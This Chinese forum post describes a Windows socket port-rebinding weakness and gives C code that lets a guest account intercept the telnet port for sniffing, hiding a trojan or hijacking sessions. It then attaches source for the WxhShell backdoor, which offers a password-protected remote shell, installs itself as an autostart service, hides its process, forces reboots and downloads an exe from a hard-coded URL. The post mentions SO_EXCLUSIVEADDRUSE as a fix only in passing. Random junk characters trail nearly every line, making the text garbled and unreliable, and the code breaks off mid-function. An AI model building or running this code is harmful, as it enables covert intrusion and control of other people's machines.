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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2-~oNJqX  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )UeG2dXx7  
2:abe  
  saddr.sin_family = AF_INET; R[(,wY_1  
H_Yy.yi  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _F,OS<>  
ATU@5,9  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1\2 m'o  
]k Pco4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Dj|S  
I4hr5M3  
  这意味着什么?意味着可以进行如下的攻击: jy?^an}#h  
?OSd8E+itM  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Z6=!}a%  
/H)g<YA  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) iw{n|&Y#`  
cA*%K[9  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {MS&t09Wh  
P+/L, u  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  gSC@uf  
Pzqgg43Xf  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Z`W.(gua  
;KhYh S(q  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 -nW{$&5AF  
75F&s,4+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3"".kf,O5e  
9#p^Z)[)-  
  #include _FV.}%W<u  
  #include Rm RV8 WJ6  
  #include ;r y{cq  
  #include    l*eA ?Qz  
  DWORD WINAPI ClientThread(LPVOID lpParam);   @6E[K'5c1  
  int main() s 2E}+ #  
  { kxP6#8*:  
  WORD wVersionRequested; bY<"$);s  
  DWORD ret; jC oZm(bi  
  WSADATA wsaData; M;E&@[5  
  BOOL val; I9MI}0}7  
  SOCKADDR_IN saddr; %nIjRmqM~  
  SOCKADDR_IN scaddr; t!k 0n&P  
  int err; 9we=aX5  
  SOCKET s; rEViw?^KT  
  SOCKET sc; S.I<Hs  
  int caddsize; <[q)2 5RL  
  HANDLE mt; A-~)7-  
  DWORD tid;   gp}S 1  
  wVersionRequested = MAKEWORD( 2, 2 ); k4@GjO1"$  
  err = WSAStartup( wVersionRequested, &wsaData ); #\jPBLc  
  if ( err != 0 ) { H0Tt(:.&  
  printf("error!WSAStartup failed!\n"); T&c[m!}X|t  
  return -1; 7+c@pEU]  
  } r'8e"pTi  
  saddr.sin_family = AF_INET; 3S,pd0;  
   ex['{|a{  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 qUo(hbp  
@ f$P*_G   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); B4b UcYk  
  saddr.sin_port = htons(23); czp5MU_^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *-n$n  
  { <Z5prunov  
  printf("error!socket failed!\n"); acH.L _B:  
  return -1; w8E,zH  
  } 9> |rIw  
  val = TRUE; HG^8&uh]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 hk=+t&Y<H  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) D&'".N,}  
  { D H/1 :H  
  printf("error!setsockopt failed!\n"); 5!Guf?i  
  return -1; s)C.e# xl  
  } =m40{  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; qj|GAGrQ2  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 q\~7z1   
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 D Lu]d$G  
b"gYNGgX  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) +vQyHo  
  { < ;g0?M\  
  ret=GetLastError(); { sZrI5   
  printf("error!bind failed!\n"); \C L`j  
  return -1; r8 xH A  
  } !b 7H  
  listen(s,2); ^a(q7ZfY  
  while(1) u]}Xq{ZN  
  { W=DQ6.   
  caddsize = sizeof(scaddr); U3Q'ZT  
  //接受连接请求 4, :D4WYWD  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7fVVU+y  
  if(sc!=INVALID_SOCKET) Uq&|iB#mF  
  { n;MoMGnPh,  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); a5)+5  
  if(mt==NULL) 2q#$?qs_b  
  { l 0 1Lg6+S  
  printf("Thread Creat Failed!\n"); []Z6<rC|  
  break; 4jXyA/F9V  
  } FPqgncBHK  
  } $UH_)Q2#J^  
  CloseHandle(mt); A^~\  
  } \/5 8#  
  closesocket(s); 3"B|w^6'2  
  WSACleanup(); w90y-^p%  
  return 0; "?Y0Ng[  
  }   S`-z$ph}  
  DWORD WINAPI ClientThread(LPVOID lpParam) &K7g8x"x.  
  { Lt*H|9  
  SOCKET ss = (SOCKET)lpParam; Ah"Rx A  
  SOCKET sc; !ine|NM  
  unsigned char buf[4096]; )S`A+M K]  
  SOCKADDR_IN saddr; M_PL{  
  long num; d BJM?/  
  DWORD val; b w cPY  
  DWORD ret; /r)d4=1E  
  //如果是隐藏端口应用的话,可以在此处加一些判断 /qz( ra  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   M- -6oR7  
  saddr.sin_family = AF_INET; 3~ qgvAr  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 'Hq}h)`  
  saddr.sin_port = htons(23); gK PV*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4b (iGLrt0  
  { H<qR^a  
  printf("error!socket failed!\n"); RpreW7B_Q*  
  return -1; ]\GGC]:\@  
  } ?=\h/C  
  val = 100; 0/%zXp&m  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Sy8Og] a  
  { )Ev [o#y  
  ret = GetLastError(); FY VcL*  
  return -1; B (BWdrG  
  } VA]%i P,O-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) xX&*&RPZ  
  { ch-GmAj 9  
  ret = GetLastError(); #)\KV7f! ;  
  return -1; vg)zk2O  
  } yyXJ_B  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) HezCRtxRcc  
  { |~>8]3. Y  
  printf("error!socket connect failed!\n"); Hj5b.fB  
  closesocket(sc); 5Po.&eS  
  closesocket(ss); wp@c;gK7  
  return -1; t!K|3>w  
  } tV<A u  
  while(1) t!PFosFp  
  { 1e&`m~5K+  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 h[ t OY  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8`im4.~#%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 No[>1]ds  
  num = recv(ss,buf,4096,0); d+/d)cu  
  if(num>0) amPQU  
  send(sc,buf,num,0); upX/fL c  
  else if(num==0) Sd{>(YWx~  
  break; SQEXC*08  
  num = recv(sc,buf,4096,0); Q.5a"(d@  
  if(num>0) #-@dc  
  send(ss,buf,num,0); [@/G?sAQm\  
  else if(num==0) 04,]upC${W  
  break; R=E )j^<F  
  } 9'T(Fc  
  closesocket(ss); )2R:P`U  
  closesocket(sc); Kyv$yf 9  
  return 0 ; $H5Xa[  
  } GSMP)8 W  
LNr2YRpyz  
8I@_X~R  
========================================================== (+9@j(  
D,J's(wd  
下边附上一个代码,,WXhSHELL }F^c*xt[  
aE:fMDS|x  
========================================================== &gq\e^0CRZ  
1W; +hXx  
#include "stdafx.h" Ex~OT  
1tD4 I  
#include <stdio.h> e#08,wgW  
#include <string.h> zRu}lJ1#W$  
#include <windows.h> b7=]"|c$@  
#include <winsock2.h> P$q IB[Xi  
#include <winsvc.h>  vH` u  
#include <urlmon.h> 'a4xi0**I  
@O4m-Oosi  
#pragma comment (lib, "Ws2_32.lib") O-G4^V8  
#pragma comment (lib, "urlmon.lib") \b' <q  
mvYr"6f8  
#define MAX_USER   100 // 最大客户端连接数 }J:~}?^%n  
#define BUF_SOCK   200 // sock buffer .lqo>Ta y  
#define KEY_BUFF   255 // 输入 buffer rJR"[TTJ  
}mX;0qO  
#define REBOOT     0   // 重启 q7X /"Dfx  
#define SHUTDOWN   1   // 关机 V-t!  
d]+g3oy `  
#define DEF_PORT   5000 // 监听端口 3{ `fT5]U  
u0N1+-6kr+  
#define REG_LEN     16   // 注册表键长度 sfx:j~bsL  
#define SVC_LEN     80   // NT服务名长度 _< xU"8b"5  
xH*OEzN  
// 从dll定义API Ff.gRx  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /\C9FGS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vk{dL'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $S6AqUk$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?-*_v//g  
)=8X[<^i  
// wxhshell配置信息 MTa.Ubs  
struct WSCFG { _ 57m] ;&  
  int ws_port;         // 监听端口 Y]ZOvA5W  
  char ws_passstr[REG_LEN]; // 口令 wxF9lZz  
  int ws_autoins;       // 安装标记, 1=yes 0=no Rh~<#"G]  
  char ws_regname[REG_LEN]; // 注册表键名 w!tQU9+ *  
  char ws_svcname[REG_LEN]; // 服务名 5q" ;R$+j  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :0V<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0hCJovSG%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `y m^0x8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no CkIICx  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" KeY)%{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Av7bp[OD  
}9{6{TD  
}; C S+6!F]  
,HR~oT^  
// default Wxhshell configuration K+PzTGWq^  
struct WSCFG wscfg={DEF_PORT, q1Ah!9B  
    "xuhuanlingzhe", N#Y4nllJ  
    1, ~M+|g4W%  
    "Wxhshell", ]w! x  
    "Wxhshell", 4RJ8 2yq-  
            "WxhShell Service", fok OjTE  
    "Wrsky Windows CmdShell Service", 6?z&G6  
    "Please Input Your Password: ", QD q2<  
  1, |fq1Mn8  
  "http://www.wrsky.com/wxhshell.exe", N!aV~\E  
  "Wxhshell.exe" F5:4 B]ZF  
    }; iC$~v#2  
HIeWgw^"  
// 消息定义模块 +#n5w8T)M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c.,eIiL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; sl>4O]N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;?bRRW  
char *msg_ws_ext="\n\rExit."; *p p1U>,  
char *msg_ws_end="\n\rQuit."; eQJLyeR+  
char *msg_ws_boot="\n\rReboot..."; &A]*"lt|w  
char *msg_ws_poff="\n\rShutdown..."; J3g>#N]='(  
char *msg_ws_down="\n\rSave to "; V_(lZDjh*  
U3az\E)HV  
char *msg_ws_err="\n\rErr!"; G23Mr9m5O  
char *msg_ws_ok="\n\rOK!"; (\>_{"*=  
j=M_>  
char ExeFile[MAX_PATH]; 0g~WM  
int nUser = 0; Hk(w\   
HANDLE handles[MAX_USER];  &EV|knW  
int OsIsNt; *ofK|r  
K-(,,wS  
SERVICE_STATUS       serviceStatus; "pQM$3n(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I Yj\t?,0  
FK;\Nce&  
// 函数声明 x]J{EA{+  
int Install(void); _hK7hvM>  
int Uninstall(void); o~2bk<]z  
int DownloadFile(char *sURL, SOCKET wsh); 9T`xW]Zf  
int Boot(int flag); ) ^!oM  
void HideProc(void); &}wKC:LSP  
int GetOsVer(void); V!a|rTU6  
int Wxhshell(SOCKET wsl); F;}?O==H;  
void TalkWithClient(void *cs); C.FGi`rrm  
int CmdShell(SOCKET sock); <j-Bj$3  
int StartFromService(void); _)ZAf% f?  
int StartWxhshell(LPSTR lpCmdLine); ;9/6X#;$  
.9S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s=u0M;A0Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S\MD]>4  
45> w=O  
// 数据结构和表定义 (;+ JM*c2N  
SERVICE_TABLE_ENTRY DispatchTable[] = -;_NdL@  
{ +TfMj1Zx  
{wscfg.ws_svcname, NTServiceMain}, UdT ~ h  
{NULL, NULL} E _/v$  
}; Y[X5S{H`wj  
cg}46)^<QH  
// 自我安装 JIjqGxR  
int Install(void) 84cmPnaT  
{ 'w^1re= R  
  char svExeFile[MAX_PATH]; {M$mrmG  
  HKEY key; LdDkd(k  
  strcpy(svExeFile,ExeFile); DbH{; Fb  
u3dhMnUn  
// 如果是win9x系统,修改注册表设为自启动 AW!|xA6'`:  
if(!OsIsNt) { L_=J(H|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2< qq[2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (3&@c!E  
  RegCloseKey(key); )p).}"   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sbQmPV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RT F9;]Ti  
  RegCloseKey(key); Z[slN5]([  
  return 0; 1Hy  
    } tt6ElP|D  
  } 2sk^A ly  
} Cx} Yp-  
else { oy;N3  
WIQt5=-  
// 如果是NT以上系统,安装为系统服务 69`9!heu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H7H'0C  
if (schSCManager!=0) U3&*,xeU@H  
{ I^qk`5w  
  SC_HANDLE schService = CreateService /1gKc}rB2  
  ( o.Mb~8Yu  
  schSCManager, ec)G~?FH  
  wscfg.ws_svcname, I,l%6oPa  
  wscfg.ws_svcdisp, \4bma<~a  
  SERVICE_ALL_ACCESS, 0 jVuF l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?k<wI)JR  
  SERVICE_AUTO_START, GmcxN<  
  SERVICE_ERROR_NORMAL,  N_=7  
  svExeFile, F C2oP,  
  NULL, J<H$B +;qR  
  NULL, pz:$n_XC}  
  NULL, 9 %,_G.  
  NULL, `Z{; c  
  NULL EN+WEMro  
  ); ;#G>qo  
  if (schService!=0) rM2?"  
  { Go^W\y   
  CloseServiceHandle(schService); vpMNulXb,  
  CloseServiceHandle(schSCManager); H2zd@l:R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Km 'd=B>Jy  
  strcat(svExeFile,wscfg.ws_svcname); VjMd&>G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { fFqK.^Tn  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .]k(7F!W  
  RegCloseKey(key); %Jq(,u  
  return 0; q}M^i7IE  
    } bsR^H5O@  
  } VVYQIR]!yk  
  CloseServiceHandle(schSCManager); @433?g`2b  
} @j9yc  
} 3r%I *  
Vj:)w<] ,  
return 1; `g6ZhG:W  
} H]mY6D51"  
eOZA2  
// 自我卸载 \$yI'q  
int Uninstall(void) 7: J6 F  
{ F'C]OMBE  
  HKEY key; +G7A.d`V}  
j &)|nK;}  
if(!OsIsNt) { mucY+k1>g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]W5s!T_  
  RegDeleteValue(key,wscfg.ws_regname); Y GO ;wIS  
  RegCloseKey(key); YzhZ%:8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0Dc$nL?TqX  
  RegDeleteValue(key,wscfg.ws_regname); )qzJu*cQ  
  RegCloseKey(key); B>o #eW  
  return 0;  8Nd +  
  } 7>9/bB+TL  
} $*G]6s  
} <$Q&n{  
else { .Uh-Wi[  
w44{~[0d4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E IsA2 f  
if (schSCManager!=0) pE^LQi  
{ S;Lqx5Cd  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fdck/|`t  
  if (schService!=0) xPq3Sfg`A  
  { ''?.6r  
  if(DeleteService(schService)!=0) { !MTm4Ls  
  CloseServiceHandle(schService); AZI%KM[  
  CloseServiceHandle(schSCManager); Gvtd )9^<  
  return 0; VtZ  
  } x|F6^d   
  CloseServiceHandle(schService); E-E+/.A  
  } SXwgn >  
  CloseServiceHandle(schSCManager); zblh_6  
} \7$m[h {l  
} b1\z&IdC  
O)\xElu  
return 1; f2uog$H k  
} v9x $`  
n"@3d.21  
// 从指定url下载文件 4w*F!E2H\}  
int DownloadFile(char *sURL, SOCKET wsh) /+JCi6{sHS  
{ ag:#82C  
  HRESULT hr; V BIPB  
char seps[]= "/"; BXZ( %tnY  
char *token; D<5gdIw  
char *file; /UN%P2>^1  
char myURL[MAX_PATH]; *yiJw\DRN  
char myFILE[MAX_PATH]; L)y}  
~Xh(JK]  
strcpy(myURL,sURL); TG{=~2  
  token=strtok(myURL,seps); Tk|0 scjE^  
  while(token!=NULL) `i f*   
  { n!ea)+^  
    file=token; r1}7Q7-z  
  token=strtok(NULL,seps); u32wS$*8  
  } W=GNo9:  
feQ_dA q  
GetCurrentDirectory(MAX_PATH,myFILE); o! sxfJKl  
strcat(myFILE, "\\"); rYJt;/RtR}  
strcat(myFILE, file); jcXb@FE6  
  send(wsh,myFILE,strlen(myFILE),0); 9} eIidwK  
send(wsh,"...",3,0); TcauCL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ` *$^rQS  
  if(hr==S_OK) y?_tSnDK  
return 0; ^q%~K{'`-  
else K4,VSy1byI  
return 1; i:qc2#O:J  
0}Kl47}aD  
} yoGE#+|7^  
vQc>jmS+n  
// 系统电源模块 ]9R?2{"K  
int Boot(int flag) K~x G+Kh  
{ 5c'rnMW4+p  
  HANDLE hToken; @2YO_rL[  
  TOKEN_PRIVILEGES tkp; ;9,Ll%Lk<  
?9mWMf%t  
  if(OsIsNt) { &y3_>!L  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4y>G6TD^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); '9$xOrv  
    tkp.PrivilegeCount = 1; wUh'1D<(r  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; j(va# f#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); z<: 9,wtbP  
if(flag==REBOOT) { 7:jSP$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ds5<4SLj  
  return 0; =1VY/sv  
} 1?E\2t&K  
else { goRoi\z $  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r/:9j(yxr  
  return 0; :d)@|SR1  
} '9{H(DA  
  } I/XVo2Ee  
  else { G1$DV Go  
if(flag==REBOOT) { ZZ[5Z =te?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <%qbU-  
  return 0; 9#O"^.Z !  
} NawnC!~ $  
else { ^R>&^"oI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e] **Z,Z  
  return 0; 8QFY:.h&  
} P1TL H2)  
} V9B $_j4  
6l:CDPhR  
return 1; \DeZY97p%  
} tnRq?  
Z|'tw^0e5  
// win9x进程隐藏模块 e0v&wSi  
void HideProc(void) Tg{d#U_qB  
{ 90K&s#+13  
wy:.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); MbY a6jrF  
  if ( hKernel != NULL ) iOj mj0  
  { xqb I~jV#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dgX0\lKpf  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }I05&/o.3p  
    FreeLibrary(hKernel); pOnZ7(  
  } >jN)9}3>-#  
s49 AF  
return; xQWZk`6~L  
} ={#r/x  
,h8)5Mj/J  
// 获取操作系统版本 9.vHnMcq  
int GetOsVer(void) 8I@= ?  
{ MJ}VNv|S  
  OSVERSIONINFO winfo; Ddt(*z /  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); f.rHX<%q9B  
  GetVersionEx(&winfo); OM}:1He  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O?8G  
  return 1; xV<NeU  
  else MttVgNV  
  return 0; <aL$d7  
} X@|  
ro^Y$;G  
// 客户端句柄模块 bG2 !5m4L  
int Wxhshell(SOCKET wsl) &qrH  
{ "z@q G]#5  
  SOCKET wsh; (iBBdB  
  struct sockaddr_in client; ]9;WM.  
  DWORD myID; N9,n/t  
Y,>])R[4  
  while(nUser<MAX_USER) Er~5\9,/<]  
{ CO4*"~']t  
  int nSize=sizeof(client); j&Z:|WniK  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i>b^n+74>  
  if(wsh==INVALID_SOCKET) return 1; k"GW3E;  
)WKe,:C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); If]g6 B.=  
if(handles[nUser]==0) lFI"U^xC  
  closesocket(wsh); .i[Tp6'%,  
else o6B!ikz 8  
  nUser++; sx*(JM}Be  
  } s {$c8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); iFS ?nZ~.  
5hg>2?e9s?  
  return 0; -kQ{~"> w  
} h'IBVI!P  
>Mi A|N=  
// 关闭 socket xJc'tT6@  
void CloseIt(SOCKET wsh) rpDH>Hzq  
{ D&Ngg)_Mq  
closesocket(wsh); 7<-D_$SrU  
nUser--; b$.N8W%  
ExitThread(0); RFQa9Rxk  
} HZfcLDrO  
YBHmd  
// 客户端请求句柄 K _O3DcQ  
void TalkWithClient(void *cs) #l8CUg~Uj  
{ p]=8=pE<  
9dy"Y~c  
  SOCKET wsh=(SOCKET)cs; o8Q(,P  
  char pwd[SVC_LEN]; !7^fji  
  char cmd[KEY_BUFF]; -$[=AqJXp;  
char chr[1]; "+saI@G  
int i,j; .o.@cLdU  
jf.ikxm  
  while (nUser < MAX_USER) { D@O '8  
8l;0)`PU  
if(wscfg.ws_passstr) { jG{xFz>x  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pwU]r  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y @pkfH  
  //ZeroMemory(pwd,KEY_BUFF); 7m@pdq5Ub  
      i=0; f-4<W0%  
  while(i<SVC_LEN) { T5W r;a  
IxgnZX4N  
  // 设置超时 K6!`b( v#  
  fd_set FdRead; ROQk^  
  struct timeval TimeOut; $ZwsTV]x  
  FD_ZERO(&FdRead); y(6&90cr  
  FD_SET(wsh,&FdRead); /Hx%gKU  
  TimeOut.tv_sec=8; /M B0%6m  
  TimeOut.tv_usec=0; h/eKVRGs"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <NT/+>:2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _xUiHX<  
>N+e c_D^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1cOp"!  
  pwd=chr[0]; a,lH6lDk  
  if(chr[0]==0xd || chr[0]==0xa) { L-G186B$r  
  pwd=0; P{rJG '  
  break; * Oyic3F  
  } ^_)CQ%W?  
  i++; 9I30ULm  
    } ?#slg8[  
jVk|(  
  // 如果是非法用户,关闭 socket ^x:4%%Q]l  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B]Yj"LM)  
} >:Q:+R;3o  
s( 2=E|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |~v($c  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j!:U*}f  
#@lr$^M  
while(1) { -v>BeVF  
E62VuX  
  ZeroMemory(cmd,KEY_BUFF); ,7/un8:%c  
*.voN[$~  
      // 自动支持客户端 telnet标准   q`9~F4\  
  j=0; -+Quw2465^  
  while(j<KEY_BUFF) { {TE0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .yg"!X  
  cmd[j]=chr[0]; ,MOB+i(3*u  
  if(chr[0]==0xa || chr[0]==0xd) { sks_>BM  
  cmd[j]=0;  /=[M  
  break; )bw>)&)b`  
  } Fk=_Q LI  
  j++; e0>@Yp[Kd  
    } Me5umA  
S,Zjol%p  
  // 下载文件 {vA;#6B|  
  if(strstr(cmd,"http://")) { ~]c^v'k  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); rYN`u  
  if(DownloadFile(cmd,wsh)) "eh"' Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \+L_'*&8  
  else J,m.LpY  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  Q+dBSKSK  
  } bs%]xf ~D;  
  else { 69yTGUG3  
'{6`n5:e  
    switch(cmd[0]) { $_)YrqSo~  
  n'4D;4  
  // 帮助 |[k6X=5  
  case '?': { X]  Tb4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T7cT4PAW  
    break; \mWXr*;  
  } S)JZ b_  
  // 安装 j cx/ZR  
  case 'i': { >`,v?<>+  
    if(Install()) t#Yyo$9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iVXR=A\er  
    else { H9pF2C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CAc nH  
    break; n (cSfT  
    }  \2eYw.I=  
  // 卸载 }})4S;j  
  case 'r': { !4.;Ftgjn  
    if(Uninstall()) )m5<gp`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y<3v/ ,Y  
    else G/<{:R"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /:awPYGH<1  
    break; "NC( ^\l/  
    }  4uU(t  
  // 显示 wxhshell 所在路径 =bv8W < #  
  case 'p': { '[\%P2c)Q  
    char svExeFile[MAX_PATH]; mpr["C"l  
    strcpy(svExeFile,"\n\r"); o#0NIn"GS/  
      strcat(svExeFile,ExeFile); 9R.tkc|K  
        send(wsh,svExeFile,strlen(svExeFile),0);  tEP^w  
    break; Kau*e8  
    } ?7a< V+V:  
  // 重启 C .YtjLQP$  
  case 'b': { rw+0<r3|K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ( 7Y :3  
    if(Boot(REBOOT)) TvI}yaCu/x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )](8 {}wo  
    else { O@E&lP6  
    closesocket(wsh); i1aS2gFi_  
    ExitThread(0); \ 0<e#0-V  
    } %$sWNn  
    break; pR\etXeLd  
    } \I'A:~b)L  
  // 关机 #+ n &  
  case 'd': { }$ AC0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @Cqg 2  
    if(Boot(SHUTDOWN)) -P'>~W,~  
